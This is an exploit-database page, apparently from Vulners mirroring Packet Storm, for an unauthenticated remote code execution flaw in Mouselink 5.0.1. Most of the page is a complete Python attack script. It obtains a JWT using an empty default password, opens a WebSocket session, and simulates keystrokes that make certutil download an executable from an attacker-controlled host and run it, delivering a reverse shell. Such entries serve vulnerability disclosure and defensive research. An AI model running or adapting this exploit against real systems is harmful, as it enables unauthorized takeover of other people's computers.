Lucene search
K

📄 Mouselink 5.0.1 Remote Code Execution

🗓️ 26 Jun 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 83 Views

Mouselink 5.0.1 enables unauthenticated remote code execution via login endpoint and WebSocket keyboard simulation.

Code
# Exploit Title: Mouselink 5.0.1 - Remote Code Execution
    # Date: 25/06/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://mouselink.app/
    # Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe
    # Version: 5.0.1
    # Tested on: Windows 10
    
    '''
    Description:
    
    Mouselink 5.0.1 allows unauthenticated remote attackers to execute
    arbitrary commands by abusing an exposed login endpoint and insecure
    WebSocket-based keyboard simulation. With no password per default, an
    attacker can obtain a JWT token, open a WebSocket session, and simulate
    keystrokes to run code on the target. and reverse shell delivery.
    
    '''
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import base64
    import secrets
    import socket
    import time
    import struct
    from urllib.parse import quote
    
    SERVER_IP = "192.168.8.105"
    SERVER_PORT = 11521
    BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}"
    lhost = "192.168.8.100"
    payload = "shell.exe"
    
    def get_device_info():
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    "b088f72a.mouselink.local."}, headers={"User-Agent": "Dart/3.5 (dart:io)",
    "Accept-Encoding": "gzip", "Host": "b088f72a.mouselink.local.:11521"},
    timeout=2)
        except: pass
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    SERVER_IP}, headers={"User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding":
    "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}"}, timeout=2)
        except: pass
    
    def login_and_get_token():
        print("[*] Logging in to get JWT token...")
        response = requests.get(
            f"{BASE_URL}/api/login",
            params={"username": "blue0x1", "password": ""},
            headers={
                "User-Agent": "Dart/3.5 (dart:io)",
                "Accept-Encoding": "gzip",
                "Host": f"{SERVER_IP}:{SERVER_PORT}"
            },
            timeout=5
        )
    
        if response.status_code != 200:
            print(f"[-] Login failed with status: {response.status_code}")
            return None
    
        data = response.json()
        if not data.get("success"):
            print("[-] Login failed: Invalid credentials")
            return None
    
        token = data["data"]["key"]
        print(f"[+] Obtained JWT token: {token[:50]}...")
        return token
    
    def negotiate_websocket(token):
        if not token: return None
        print("[*] Negotiating WebSocket connection...")
        response = requests.post(
            f"{BASE_URL}/mainhub/negotiate",
            params={"access_token": token, "negotiateVersion": "1"},
            headers={
                "User-Agent": "Dart/3.5 (dart:io)",
                "Content-Type": "text/plain;charset=UTF-8",
                "X-Requested-With": "FlutterHttpClient",
                "Accept-Encoding": "gzip",
                "Host": f"{SERVER_IP}:{SERVER_PORT}"
            },
            timeout=5
        )
    
        if response.status_code != 200:
            print(f"[-] Negotiation failed with status: {response.status_code}")
            return None
    
        return response.json()["connectionToken"]
    
    def create_websocket_frame(payload):
        payload_bytes = payload.encode('utf-8')
        payload_len = len(payload_bytes)
        header = bytearray([0b10000001])
        if payload_len < 126:
            header.append(0b10000000 | payload_len)
        elif payload_len < 65536:
            header.append(0b10000000 | 126)
            header.extend(struct.pack('>H', payload_len))
        else:
            header.append(0b10000000 | 127)
            header.extend(struct.pack('>Q', payload_len))
        mask_key = secrets.token_bytes(4)
        header.extend(mask_key)
        masked_payload = bytearray(payload_bytes)
        for i in range(payload_len): masked_payload[i] ^= mask_key[i % 4]
        return header + masked_payload
    
    def raw_websocket_handshake(token, connection_token):
        if not token or not connection_token: return None
        print("[*] Establishing WebSocket connection...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))
        key = base64.b64encode(secrets.token_bytes(16)).decode()
        request = f"GET
    /mainhub?access_token={quote(token)}&id={connection_token}
    HTTP/1.1\r\nHost: {SERVER_IP}:{SERVER_PORT}\r\nUser-Agent: Dart/3.5
    (dart:io)\r\nConnection: Upgrade\r\nCache-Control:
    no-cache\r\nAccept-Encoding: gzip\r\nSec-WebSocket-Version:
    13\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Extensions:
    permessage-deflate; client_max_window_bits\r\nUpgrade: websocket\r\n\r\n"
        sock.send(request.encode())
        response = b""
        while b"\r\n\r\n" not in response: response += sock.recv(1024)
        if b"HTTP/1.1 101 Switching Protocols" not in response:
            print("[-] WebSocket upgrade failed")
            sock.close()
            return None
        print("[+] WebSocket connection established")
        return sock
    
    def send_websocket_messages(sock):
        if not sock: return
    
        print("[*] Sending protocol handshake...")
        sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e'))
        time.sleep(0.5)
    
        print("[*] Sending Win+R shortcut...")
        win_r =
    json.dumps({"type":1,"headers":{},"invocationId":"1","target":"KeyboardShortcut","arguments":[[91,82]],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(win_r))
        time.sleep(1)
    
        cmd = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload}
    C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe"
        print(f"[*] Sending payload command: {cmd[:50]}...")
        cmd_input =
    json.dumps({"type":1,"headers":{},"invocationId":"0","target":"KeyboardTextInput","arguments":[cmd],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(cmd_input))
        time.sleep(1)
    
        print("[*] Sending Enter key...")
        enter_key =
    json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(enter_key))
        time.sleep(0.5)
    
        sock.close()
        print("[+] Commands sent successfully!")
    
    if __name__ == "__main__":
        print("[*] Starting Attack...")
        get_device_info()
    
        jwt_token = login_and_get_token()
        if not jwt_token:
            print("[-] Attack aborted: Failed to obtain JWT token")
            exit(1)
    
        connection_token = negotiate_websocket(jwt_token)
        if not connection_token:
            print("[-] Attack aborted: Failed to obtain connection token")
            exit(1)
    
        sock = raw_websocket_handshake(jwt_token, connection_token)
        if not sock:
            print("[-] Attack aborted: WebSocket connection failed")
            exit(1)
    
        send_websocket_messages(sock)
        print("[+] Attack completed! Check your listener for connection")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation